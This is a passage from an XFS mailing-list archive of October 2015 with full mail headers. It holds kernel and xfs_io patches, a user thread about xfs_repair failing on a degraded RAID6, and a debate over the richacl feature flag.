XFS_BMAPI_CONTIG, "CONTIG" }, \ - { XFS_BMAPI_CONVERT, "CONVERT" } + { XFS_BMAPI_CONVERT, "CONVERT" }, \ + { XFS_BMAPI_ZERO, "ZERO" } static inline int xfs_bmapi_aflag(int w) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index eca325e..dbae649 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -57,6 +57,35 @@ xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) } /* + * Routine to zero an extent on disk allocated to the specific inode. + * + * The VFS functions take a linearised filesystem block offset, so we have to + * convert the sparse xfs fsb to the right format first. + * VFS types are real funky, too. + */ +int +xfs_zero_extent( + struct xfs_inode *ip, + xfs_fsblock_t start_fsb, + xfs_off_t count_fsb) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_daddr_t sector = xfs_fsb_to_db(ip, start_fsb); + sector_t block = XFS_BB_TO_FSBT(mp, sector); + ssize_t size = XFS_FSB_TO_B(mp, count_fsb); + + if (IS_DAX(VFS_I(ip))) + return dax_clear_blocks(VFS_I(ip), block, size); + + /* + * let the block layer decide on the fastest method of + * implementing the zeroing. + */ + return sb_issue_zeroout(mp->m_super, block, count_fsb, GFP_NOFS); + +} + +/* * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi * caller. Frees all the extents that need freeing, which must be done * last due to locking considerations. We never free any extents in @@ -229,6 +258,13 @@ xfs_bmap_rtalloc( xfs_trans_mod_dquot_byino(ap->tp, ap->ip, ap->wasdel ? XFS_TRANS_DQ_DELRTBCOUNT : XFS_TRANS_DQ_RTBCOUNT, (long) ralen); + + /* Zero the extent if we were asked to do so */ + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) { + error = xfs_zero_extent(ap->ip, ap->blkno, ap->length); + if (error) + return error; + } } else { ap->length = 0; } diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 8795272..f20e5de 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -337,4 +337,7 @@ extern int xfs_dev_is_read_only(struct xfs_mount *, char *); extern void xfs_set_low_space_thresholds(struct xfs_mount *); +int xfs_zero_extent(struct xfs_inode *ip, xfs_fsblock_t start_fsb, + xfs_off_t count_fsb); + #endif /* __XFS_MOUNT_H__ */ -- 2.5.0 From Sunghost@gmx.de Mon Oct 19 06:16:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 302857F37 for ; Mon, 19 Oct 2015 06:16:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1EE2E8F8033 for ; Mon, 19 Oct 2015 04:16:41 -0700 (PDT) X-ASG-Debug-ID: 1445253398-04cbb035a9ac1d0001-NocioJ Received: from mout.gmx.net (mout.gmx.net [212.227.17.21]) by cuda.sgi.com with ESMTP id MrwvEi5IPHyYUKHA (version=TLSv1.2 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 19 Oct 2015 04:16:38 -0700 (PDT) X-Barracuda-Envelope-From: Sunghost@gmx.de X-Barracuda-Apparent-Source-IP: 212.227.17.21 Received: from [194.12.218.135] by 3capp-gmx-bs59.server.lan (via HTTP); Mon, 19 Oct 2015 13:16:35 +0200 MIME-Version: 1.0 Message-ID: From: Dragon To: xfs@oss.sgi.com Subject: Re: Error in `xfs_repair': double free or corruption Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: Re: Error in `xfs_repair': double free or corruption Date: Mon, 19 Oct 2015 13:16:35 +0200 Importance: normal Sensitivity: Normal X-Priority: 3 X-Provags-ID: V03:K0:1inLkPjuVRQZp/fdyZXC/XBJOSyMJT6Inv8X7QZpb3A NEIf+jNGGpSs28vpHSV8zcOyOqJMMpZsfRGmd+wzjhHwqBpXgV FdnDQWppE1wy9RCpZgKrz1xtqZms28Yb6GUUOaGJLLu2Vnce3M 3eQeiztqSunDeWJWgzALlZegbJpObpan8WPVxvQsV0JN50ENWf MAbxIUES9lY/mPmZZoJUNxx1GZvg2x8KTuzBog24qNRKtrUNcc aIqMFkMwikUsrN6QUXreH062TpU1YBYIXBQ43U5gas7MNrWZ6n uafneE= X-UI-Out-Filterresults: notjunk:1;V01:K0:JPyyzv0kPLU=:pAjzOdGSouGzU9RDKLkwbg 9URx/JT/FOoZBIqsjzJSgiB3LJF9S+zkx0aXqJirOyJA25T1nhALkAHGI52pLqkfpO6AJBeam tCyxNLXYo2OCBne9fkOfCPsjzGLM/vPObFLvGqXqo4GpUmrqc+12E6T3xVowvjjPES2rhkGGS LXOmvM8Cj78T1YES+aBJCh/hu/Rhr7OBDL8o/2sMU/KLLPRcRtxHfGaYegN4stEUT1VLNwp4P uI+gVnysnCBG+5IuqpeLUktQOVTAafDkZ8WGM0VgeIR761rPU/jgE1QlNgjsKPc93s39Ol0x+ WGMXn5VM1Hq7dVrSR5mRzbjEI3Gz3gaj5KuNrin5yHTBsU/YmkhvlKwn0xO4crdTZ2O/vBIGy 8yygCO5F4UTprZbJWm/0Ytd/zzvEMCweTss8nozI6PBRSo7pskWHX1Gr048mTWAZrYVXVv0QA VygOl7PeHw== X-Barracuda-Connect: mout.gmx.net[212.227.17.21] X-Barracuda-Start-Time: 1445253398 X-Barracuda-Encrypted: DHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Hi Eric, in meanwhile i upgraded my debian wheezy to stretch which has the latest xfsprogs 4.2 on bord. i had repaired the filesytem, but lost 10Gb of files. ok better than all. so all is "fine" and i will now do next steps to get some data back. thx sunny On 10/16/15 9:26 AM, Dragon wrote: Hello Emmanuel, kernel version is 3.16-0.bpo.2-amd64 and xfsprogs in version 3.2.1 from stable. the question is if xfs_repair can repair a raid which has missed a disk with over 240gb bad blocks. Well, we shouldn't hit that "double free or corruption" bug. But you have an old xfsprogs, so the suggestion of using something up to date is a good one. As for "can xfs_repair repair a raid which is missing a disk with 240g of bad blocks?" - xfs_repair cannot make something out of nothing; it should always end up with a filesystem which has consistent metadata, but that might be the result of throwing away a lot of un-fixable things. All too often I see people try to use xfs_repair on a raid which is in bad shape; not properly reassembled, etc, and that's only going to make things worse. You must get your storage into the best shape you can, first, and then xfs_repair will do its best to create consistency, but it cannot recreate lost (meta)data, in general. Running xfs_repair -n, or creating a metadump image, and running a full repair on that as a test, is often a good idea before you commit to changes on your original filesystem. -Eric gretings Hello, i have a problem after repaired a degraded Softare Raid6. System is Debian Jessi and Root and Boot are on Raid1, and Data on Raid6 on md2 which miss one Disk. The mainproblem was a missing Disk because of badblocks which i cloned and exchanged agains a new one. After that i could successfully rebuild the raid (md2), while now only one disk is midding. But i recognised that xfs reports inode problems. Therefor i run xfs_repair on the raid device md2, but get message "Error in `xfs_repair': double free or corruption" What can i do the fix this? thx You didn't provide enough information (kernel and xfs-progs version at the very least) but you should use the latest version of xfs_repair, the one included in Debian is probably quite old. Here's one new: http://update.intellique.com/pub/xfs_repair-4.2.0.gz Or if you like it better in debian form: http://update.intellique.com/repository/pool/storiq3/unstable/amd64/xfsprogs_4.2.0+1_amd64.deb _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From cmaiolino@redhat.com Mon Oct 19 07:31:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 486757F50 for ; Mon, 19 Oct 2015 07:31:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 167028F8049 for ; Mon, 19 Oct 2015 05:31:29 -0700 (PDT) X-ASG-Debug-ID: 1445257886-04bdf06db1cee70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rOP5kMYrvqzA7l70 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 19 Oct 2015 05:31:27 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 99E4619F223 for ; Mon, 19 Oct 2015 12:31:26 +0000 (UTC) Received: from zion.usersys.redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9JCVPvi026933 for ; Mon, 19 Oct 2015 08:31:26 -0400 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: [PATCH] xfs_io: implement 'inode' command V3 Date: Mon, 19 Oct 2015 14:31:20 +0200 X-ASG-Orig-Subj: [PATCH] xfs_io: implement 'inode' command V3 Message-Id: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445257886 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Implements a new xfs_io command, named 'inode', which is supposed to be used to query information about inode's existence and its physical size in the filesystem. Currently supporting three arguments: -s -- return physical size of the largest inode -l -- return the largest inode number allocated and used -n [num] -- Return the next existing inode after [num], even if [num] is not allocated/used [num] -- Return if the inode exists or not. I didn't send the man page patch because I'm sure I'll get some points to improve, and I'll write the manpage for the next revision. - Changelog V3: - Merge all 3 patches from the V2 together in a single patch - Rework of '-n [num]' and 'num' only arguments algorithm - Argument -n now relies on bulkreq.count to check for next inodes, not on bstat.bs_ino anymore. - for loop in ret_lsize or ret_largest case, now relies on count being 0 to break the loop Signed-off-by: Carlos Maiolino --- io/open.c | 161 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 161 insertions(+) diff --git a/io/open.c b/io/open.c index ac5a5e0..59b5c94 100644 --- a/io/open.c +++ b/io/open.c @@ -20,6 +20,7 @@ #include "input.h" #include "init.h" #include "io.h" +#include "libxfs.h" #ifndef __O_TMPFILE #if defined __alpha__ @@ -44,6 +45,7 @@ static cmdinfo_t statfs_cmd; static cmdinfo_t chproj_cmd; static cmdinfo_t lsproj_cmd; static cmdinfo_t extsize_cmd; +static cmdinfo_t inode_cmd; static prid_t prid; static long extsize; @@ -750,6 +752,154 @@ statfs_f( return 0; } +static void +inode_help(void) +{ + printf(_( +"\n" +"Query physical information about the inode" +"\n" +" -l -- Returns the largest inode number in the filesystem\n" +" -s -- Returns the physical size (in bits) of the\n" +" largest inode number in the filesystem\n" +" -n -- Return the next valid inode after [num]" +"[num] Check if the inode [num] exists in the filesystem" +"\n")); +} + +static int +inode_f( + int argc, + char **argv) +{ + __s32 count = 0; + __s32 lastgrp = 0; + __u64 last = 0; + __u64 lastino = 0; + __u64 userino = 0; + char *p; + int c; + int ret_lsize = 0; + int ret_largest = 0; + int ret_next = 0; + struct xfs_inogrp igroup[1024], igrp_rec[1024]; + struct xfs_fsop_bulkreq bulkreq; + struct xfs_bstat bstat; + + + while ((c = getopt(argc, argv, "sln:")) != EOF) { + switch (c) { + case 's': + ret_lsize = 1; + break; + case 'l': + ret_largest = 1; + break; + case 'n': + ret_next = 1; + userino = strtoull(optarg, &p, 10); + break; + default: + return command_usage(&inode_cmd); + } + } + + if (((optind < argc) || ret_next) && + !(ret_lsize || ret_largest)) { + + /* Setup bulkreq for -n or [num] only */ + bulkreq.lastip = &last; + bulkreq.icount = 1; + bulkreq.ubuffer = &bstat; + bulkreq.ocount = &count; + + if (ret_next) { + if ((*p != '\0')) { + printf(_("[num] must be a numeric value\n")); + exitcode = 1; + return 0; + } + last = userino; + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, + &bulkreq)) { + if (errno == EINVAL) + printf(_("Invalid or non-existent inode\n")); + else + perror("XFS_IOC_FSBULKSTAT"); + exitcode = 1; + return 0; + } + + if (!count) { + printf(_("There are no further inodes in the filesystem\n")); + return 0; + } + + printf(_("Next inode: %llu\n"), bstat.bs_ino); + return 0; + } else { + userino = strtoull(argv[optind], &p, 10); + if ((*p != '\0')) { + printf(_("[num] must be a numeric value\n")); + exitcode = 1; + return 0; + } + last = userino; + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT_SINGLE, + &bulkreq)) { + if (errno == EINVAL) { + printf(_("Invalid or non-existent inode number\n")); + } else + perror("XFS_IOC_FSBULKSTAT_SINGLE"); + exitcode = 1; + return 0; + } + printf(_("Valid inode: %llu\n"), bstat.bs_ino); + return 0; + + } + } + + if (ret_lsize || ret_largest) { + + bulkreq.lastip = &last; + bulkreq.icount = 1024; /* User-defined maybe!? */ + bulkreq.ubuffer = &igroup; + bulkreq.ocount = &count; + + for (;;) { + + if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, + &bulkreq)) { + perror("XFS_IOC_FSINUMBERS"); + exitcode = 1; + return 0; + } + + if (count == 0) + break; + + lastgrp = count; + memcpy(igrp_rec, igroup, + sizeof(struct xfs_inogrp) * 1024); + } + + lastgrp--; + lastino = igrp_rec[lastgrp].xi_startino + + xfs_highbit64(igrp_rec[lastgrp].xi_allocmask); + + if (ret_lsize) + printf (_("Largest inode size: %d\n"), + lastino > XFS_MAXINUMBER_32 ? 64 : 32); + else + printf(_("Largest inode: %llu\n"), lastino); + + return 0; + } + + return command_usage(&inode_cmd); +} + void open_init(void) { @@ -815,6 +965,16 @@ open_init(void) _("get/set preferred extent size (in bytes) for the open file"); extsize_cmd.help = extsize_help; + inode_cmd.name = "inode"; + inode_cmd.cfunc = inode_f; + inode_cmd.args = _("[-s | -l | -n] [num]"); + inode_cmd.argmin = 1; + inode_cmd.argmax = 2; + inode_cmd.flags = CMD_NOMAP_OK; + inode_cmd.oneline = + _("Query inode number usage in the filesystem"); + inode_cmd.help = inode_help; + add_command(&open_cmd); add_command(&stat_cmd); add_command(&close_cmd); @@ -822,4 +982,5 @@ open_init(void) add_command(&chproj_cmd); add_command(&lsproj_cmd); add_command(&extsize_cmd); + add_command(&inode_cmd); } -- 2.4.3 From ahferroin7@gmail.com Mon Oct 19 08:12:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6DF177F47 for ; Mon, 19 Oct 2015 08:12:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BDF5DAC001 for ; Mon, 19 Oct 2015 06:12:46 -0700 (PDT) X-ASG-Debug-ID: 1445260364-04cbb035a9afc70001-NocioJ Received: from mail-io0-f173.google.com (mail-io0-f173.google.com [209.85.223.173]) by cuda.sgi.com with ESMTP id XLwz5vdGnesr5CRm (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 06:12:45 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.173 Received: by iofz202 with SMTP id z202so44611607iof.2 for ; Mon, 19 Oct 2015 06:12:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=tjWSmHmeDQ/FzMdDwF6ihSjk0m2s+UJfA19yr684Zlg=; b=ADOlJvYwDPn1s7pUe+LBJ5DcgJg/aQVCyMNzTUOj9Alp44WWoeZHAgOx+IHDBpCsho wyBLn7tFlIooCL4Hi53ySb9bqWep2pHjFbouva6B2Tz0V5lG36i0PlBNwDUN1aBcoIxP A6QkXJEHaTRPZhUnwJrlr4N7NKsXnGtpX3toH7zW8JUpfr0NtVt8BqRR4E2I8JBIWsde xSh0JoS6xlOhzqbQzvzLEdY+ImDimSIh4cxj4FSA5VMnMnTsi47fHptS6ZaBuFLbfAiD XDYVJQ+bgOmJbwQYyGhc5bM7KNFFfGZFikhlqvQ2SYjNEuVkpQIlJexzbNIOW0ojIUGt Ndhg== X-Received: by 10.107.166.139 with SMTP id p133mr8040657ioe.113.1445260364731; Mon, 19 Oct 2015 06:12:44 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id z5sm7744939igl.21.2015.10.19.06.12.40 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 19 Oct 2015 06:12:43 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Dave Chinner X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <562141AD.60302@gmail.com> <20151017231759.GV27164@dastard> Cc: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <5624EC42.8050708@gmail.com> Date: Mon, 19 Oct 2015 09:12:34 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151017231759.GV27164@dastard> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms010802090608060909070409" X-Antivirus: avast! (VPS 151019-0, 2015-10-19), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-io0-f173.google.com[209.85.223.173] X-Barracuda-Start-Time: 1445260365 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms010802090608060909070409 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-17 19:17, Dave Chinner wrote: > On Fri, Oct 16, 2015 at 02:27:57PM -0400, Austin S Hemmelgarn wrote: >> On 2015-10-16 13:41, Andreas Gruenbacher wrote: >>> On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn >>> wrote: >>>> I would like to re-iterate, on both XFS and ext4, I _really_ think t= his >>>> should be a ro_compat flag, and not an incompat one. If a person ha= s the >>>> ability to mount the FS (even if it's a read-only mount), then they = by >>>> definition have read access to the file or partition that the filesy= stem is >>>> contained in, which means that any ACL's stored on the filesystem ar= e >>>> functionally irrelevant, >>> >>> It is unfortunately not safe to make such a file system accessible to= >>> other users, so the feature is not strictly read-only compatible. >> If it's not safe WRT data integrity, then the design needs to be >> reworked, as that directly implies that isn't safe for even every >> day usage on a writable filesystem. > > This is exactly what we have *incompat feature flags for*: to > protect old code that doesn't know about potentially dangerous new > on-disk formats from trying to parse those formats and causing > unpredictable bad things from happening. However, unless things have changed (I haven't had time to re-read the=20 patch-set yet), then the only change will be a new set of xattrs, and=20 that type of change _shouldn't_ break existing code that doesn't know=20 about them. Andreas really needs to explain _exactly_ why it isn't safe=20 to mount this on a kernel that doesn't support it and let other users=20 access it, and if the answer is 'because the ACL's won't be honored'=20 then that really isn't acceptable reason IMHO, because (as I outlined in = the previous e-mail) being able to mount the filesystem implies that=20 they have at least read access to the underlying storage, which means=20 that the ACL's in the filesystem are irrelevant as far as any competent=20 individual who is actively trying to illegitimately access the data is=20 concerned. > Austin, your arguments hold no weight because they are no different > to the considerations for any new on-disk feature: the user needs to > have both kernel and userspace support to recover filesystems that > go bad. If you are using a brand new fs/kernel feature, then it is > expected that you know that your DR processes take this into > account. Except that the given argument from Andreas as to why it's an incompat=20 feature does not clarify whether it's to prevent breaking the existing=20 filesystem code (which I understand and agree is a proper usage for such = a flag), or to try and provide some thin facade of security when there=20 really is none (which is what the bit about 'and expose it to other=20 users' really sounds like to me). Yes the argument that I made which=20 you have replied to was admittedly shortsighted and didn't need to be=20 made to get the point that I was actually trying to make across, and I=20 sincerely apologize for that. --------------ms010802090608060909070409 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDE5MTMxMjM0WjBPBgkq hkiG9w0BCQQxQgRAmxOkF4plL1+dwwSYoBxHLizItbQwDrZjHhG9YUbOSe6ygHc0hiNJtVFK Gaub22tFDKBLPwrAPce6uAazICXIWTBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgAvII814wRDy81RBAJMCIQY6ZG4Mi5WOHhz9sVic+8gAEJjNpP5 VTYhuVJokfgQ8YVIN5WTV4+8oEC9prO+QABhvUbKdJghrAafOiji+RHvPw53wO5ITMKLbZlY 